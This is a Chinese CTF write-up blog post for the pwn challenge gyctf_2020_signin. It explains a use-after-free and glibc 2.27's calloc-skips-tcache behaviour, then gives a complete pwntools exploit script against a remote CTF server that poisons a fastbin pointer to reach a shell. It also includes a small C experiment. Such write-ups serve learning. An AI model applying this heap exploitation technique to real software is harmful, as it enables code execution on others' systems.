gyctf_2020_signin:ubuntu18.04配合calloc产生的漏洞

逆一下

add函数,注意bss段有heaparray之类的东西,然后可以申请九次,然后add的时候无法向chunk写入内容

delete函数,明显的UAF漏洞

edit函数,只能用一次

后门函数,ptr是bss段上的变量

一开始的思路是劫持got表,因为是ubuntu18并且有UAF,可以直接利用double free来申请到atoi@got,然后改atoi@got成后门函数即可getshell,但是这样的操作至少需要两次写入的功能,第一次改写free chunk的fd指针,第二次是改写got表项,所以无法完成,就gg了,看了wp,又学到了新姿势。

后门函数里的那个calloc很诡异,也没有指针来接受返回值,所以是可以被利用的
calloc分配堆块的时候,不会从tcache bin里取堆块
这意味着当我们calloc分配堆块时,假如tcache和fastbin都有堆块,那么calloc会从fastbin里去拿。在有tcache bin的情况下,从fastbin/smallbin里去取堆块,管理器就会将剩余的fastbin堆块链入到tcache bin中。
在文末写个实验来验证一下

所以我们可以这样利用:
1,申请8个chunk,然后全部free,这时fastbin 1,tcache 7
2,然后add一个堆块(malloc),这时fastbin 1,tcache 6
3,利用有且仅有一次的edit功能编辑fastbin堆块的fd指针为ptr-0x10(使ptr作为一个fake chunk的fd pointer):本质是利用了UAF漏洞(free的堆块依然可以edit)
4,调用后门函数,calloc会将fastbin里的唯一一个堆块分配出去,然后将fake chunk链入到tcache作为tcache[7],同时将fd设置为tcache[6]的address,这时fd不为空,即ptr不为空,可以调用system getshell

exp:

from pwn import *
import time

'''
author: lemon
time: 2020-10-27
libc: libc-2.23.so
python version:python2.7
'''

local = 0

binary = "./gyctf_2020_signin"
libc_path = '../libc-2.27.so'
port = "29848"

if local == 1:
	p = process(binary)
else:
	p = remote("node3.buuoj.cn",port)

def dbg():
	context.log_level = 'debug'

context.terminal = ['tmux','splitw','-h']

def add(index):
	p.sendlineafter('your choice?','1')
	p.sendlineafter('idx?',str(index))

def free(index):
	p.sendlineafter('your choice?','3')
	p.sendlineafter('idx?',str(index))

def edit(index,content):
	p.sendlineafter('your choice?','2')
	p.sendlineafter('idx?',str(index))
	sleep(0.3)
	p.send(content)

dbg()

elf = ELF(binary)
libc = ELF(libc_path)

atoi_got = elf.got['atoi']
heaparray = 0x4040E0
ptr = 0x4040C0

print "============ step 1: add 8 chunks and free 8 chunks ============"
print "[*]   now tcache is full and fastbin[0x80] has 1 chunk    "

for i in range(8):
	add(i)
for i in range(8):
	free(i)

print "[*]   add 0x80 , because tcache is faster than fastbin, now tcache has 6 chunks now(alloca 1 chunk)"
add(8) 

print "============ step 2: call backdoor to get shell ============== "
print "[*]   now fastbin has one chunk,when we alloca fasbtin,then the fastbin chain will go to tcache bin"

edit(7,p64(ptr - 0x10))
sleep(1)
p.sendline('6')

# gdb.attach(p)
p.interactive()

实验来验证一下

#include <stdio.h>
#include <stdlib.h>

int main()
{
	void *p1,*p2,*p3,*p4,*p5,*p6,*p7,*p8;
	
	printf("now we alloca 8 chunks , then we will free p1 - p8\n");
	printf("then, p1-p7 will go tcache bin\n");
	p1 = malloc(0x20);	
	p2 = malloc(0x20);
	p3 = malloc(0x20);
	p4 = malloc(0x20);
	p5 = malloc(0x20);
	p6 = malloc(0x20);
	p7 = malloc(0x20);
	p8 = malloc(0x20);
	free(p1);
	free(p2);
	free(p3);
	free(p4);
	free(p5);
	free(p6);
	free(p7);
	free(p8);

      calloc(1,0x20);
}

查看此时bins的情况

最后calloc后,可以发现tcache bins依然是满的,说明calloc不会从tcache bin中去取chunk

参考我之前的博客的tcache bin attack,里面做了好几个实验
https://l3mon629.github.io/post/vandn2020-gong-kai-sai-easytheap/#tcache

posted @ 2020-10-27 11:26  lemon想学二进制  阅读(194)  评论(0编辑  收藏  举报